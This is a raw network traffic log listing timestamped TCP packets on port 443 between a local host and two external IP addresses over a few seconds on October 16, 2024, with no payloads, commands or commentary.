Oct 16, 2024 17:56:31.552133083 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.552221060 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.552386999 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.552398920 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.555085897 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.555111885 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.555159092 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.555160999 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.555197954 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.555413961 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.555418015 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.555433035 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.555438042 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.557745934 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.557775021 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.557833910 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.557943106 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.557954073 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.562165976 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.562417984 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.562513113 CEST	49732	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.562550068 CEST	49732	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.562562943 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.562575102 CEST	49732	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.562581062 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.564313889 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.564351082 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.564409971 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.564511061 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.564523935 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.968396902 CEST	49738	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:31.968456030 CEST	443	49738	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:31.968516111 CEST	49738	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:31.968923092 CEST	49739	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:31.969027042 CEST	443	49739	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:31.969144106 CEST	49738	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:31.969172955 CEST	443	49738	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:31.969182968 CEST	49739	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:31.969389915 CEST	49739	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:31.969420910 CEST	443	49739	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:32.287724018 CEST	443	49733	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.288501024 CEST	49733	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.288572073 CEST	443	49733	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.289072037 CEST	49733	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.289086103 CEST	443	49733	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.290627003 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.291130066 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.291145086 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.291407108 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.291410923 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.295614004 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.295962095 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.295979023 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.296385050 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.296390057 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.299913883 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.300328016 CEST	49734	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.300355911 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.300745010 CEST	49734	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.300755024 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.318459988 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.318805933 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.318900108 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.319181919 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.319195032 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.420825958 CEST	443	49733	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.420874119 CEST	443	49733	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.421242952 CEST	49733	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.421400070 CEST	49733	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.421423912 CEST	443	49733	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.421442986 CEST	49733	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.421452045 CEST	443	49733	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.423527002 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.423685074 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.423759937 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.423856020 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.423870087 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.423882008 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.423887014 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.424530983 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.424582005 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.424649000 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.424755096 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.424766064 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.425883055 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.425976992 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.426050901 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.426171064 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.426204920 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.426604033 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.427335978 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.427403927 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.427429914 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.427447081 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.427457094 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.427462101 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.429308891 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.429332018 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.429435968 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.429550886 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.429574013 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.435540915 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.435739994 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.435797930 CEST	49734	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.435836077 CEST	49734	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.435854912 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.435872078 CEST	49734	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.435880899 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.437798977 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.437810898 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.437870026 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.437988997 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.438003063 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.449970007 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.450105906 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.450239897 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.450300932 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.450300932 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.450339079 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.450362921 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.452224016 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.452245951 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.452305079 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.452769995 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:32.452786922 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:32.795435905 CEST	443	49738	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:32.795804977 CEST	49738	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:32.795838118 CEST	443	49738	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:32.797044992 CEST	443	49738	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:32.797113895 CEST	49738	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:32.800726891 CEST	443	49739	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:32.802248001 CEST	49738	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:32.802247047 CEST	49739	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:32.802248955 CEST	49738	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:32.802265882 CEST	443	49738	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:32.802277088 CEST	443	49739	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:32.802325010 CEST	443	49738	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:32.803891897 CEST	443	49739	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:32.803956985 CEST	49739	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:32.804763079 CEST	49739	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:32.804866076 CEST	443	49739	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:32.852559090 CEST	49738	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:32.852567911 CEST	443	49738	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:32.852608919 CEST	49739	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:32.852639914 CEST	443	49739	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:32.898128033 CEST	49738	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:32.898139000 CEST	49739	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:33.035367966 CEST	443	49738	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:33.035469055 CEST	443	49738	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:33.035531044 CEST	49738	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:33.035794020 CEST	49738	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:33.035825014 CEST	443	49738	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:33.035841942 CEST	49738	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:33.035880089 CEST	49738	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:33.037908077 CEST	49739	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:33.079420090 CEST	443	49739	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:33.165448904 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.166070938 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.166337013 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.166373968 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.167222977 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.167251110 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.167361975 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.167367935 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.167712927 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.167717934 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.178679943 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.179059029 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.179109097 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.179533005 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.179542065 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.179713964 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.179981947 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.179996014 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.180372953 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.180378914 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.202476025 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.202877045 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.202954054 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.203373909 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.203404903 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.275355101 CEST	443	49739	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:33.275590897 CEST	443	49739	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:33.275652885 CEST	49739	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:33.276617050 CEST	49739	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:33.276639938 CEST	443	49739	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:33.294936895 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.295346975 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.295402050 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.296314955 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.296340942 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.296355963 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.296363115 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.297754049 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.297885895 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.297966003 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.299407959 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.299439907 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.299509048 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.299807072 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.299829006 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.299844027 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.299849987 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.301424026 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.301435947 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.303550959 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.303559065 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.303634882 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.303806067 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.303816080 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.312805891 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.313209057 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.313280106 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.313895941 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.313921928 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.313939095 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.313946009 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.314846992 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.315169096 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.315222979 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.315366983 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.315392971 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.315412998 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.315418959 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.323945045 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.324019909 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.324229956 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.324615955 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.324650049 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.326327085 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.326365948 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.326371908 CEST	49749	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:33.326401949 CEST	443	49749	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:33.326421976 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.326458931 CEST	49749	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:33.326803923 CEST	49749	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:33.326823950 CEST	443	49749	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:33.326900959 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.326920033 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.331610918 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.331964016 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.332040071 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.333172083 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.333172083 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.333197117 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.333219051 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.335668087 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.335700035 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:33.335757017 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.335942984 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:33.335958004 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.043999910 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.053119898 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.053626060 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.059237003 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.092044115 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.093049049 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.095907927 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.095921040 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.112099886 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.140045881 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.150544882 CEST	443	49749	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:34.208040953 CEST	49749	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:34.272049904 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.272090912 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.277884960 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.277884960 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.277893066 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.277909994 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.278894901 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.278898954 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.279367924 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.279396057 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.288088083 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.288099051 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.288878918 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.288898945 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.291527033 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.291533947 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.291538954 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.291567087 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.291894913 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.291903973 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.324048042 CEST	49749	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:34.324078083 CEST	443	49749	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:34.325562000 CEST	443	49749	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:34.357101917 CEST	49749	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:34.357101917 CEST	49749	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:34.357141018 CEST	443	49749	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:34.357460022 CEST	443	49749	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:34.406336069 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.406383991 CEST	49749	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:34.406544924 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.406843901 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.406903982 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.406903982 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.406919956 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.406928062 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.407236099 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.407413960 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.407763004 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.409241915 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.409241915 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.409246922 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.409271002 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.413307905 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.413348913 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.413376093 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.413398027 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.413456917 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.413570881 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.414222002 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.414267063 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.414395094 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.414395094 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.414413929 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.414429903 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.414457083 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.415158987 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.415174961 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.415359020 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.415370941 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.416014910 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.416192055 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.416353941 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.416733980 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.416733980 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.416753054 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.416764975 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.417685032 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.417803049 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.417912006 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.418315887 CEST	49745	443	192.168.2.5	13.107.246.45
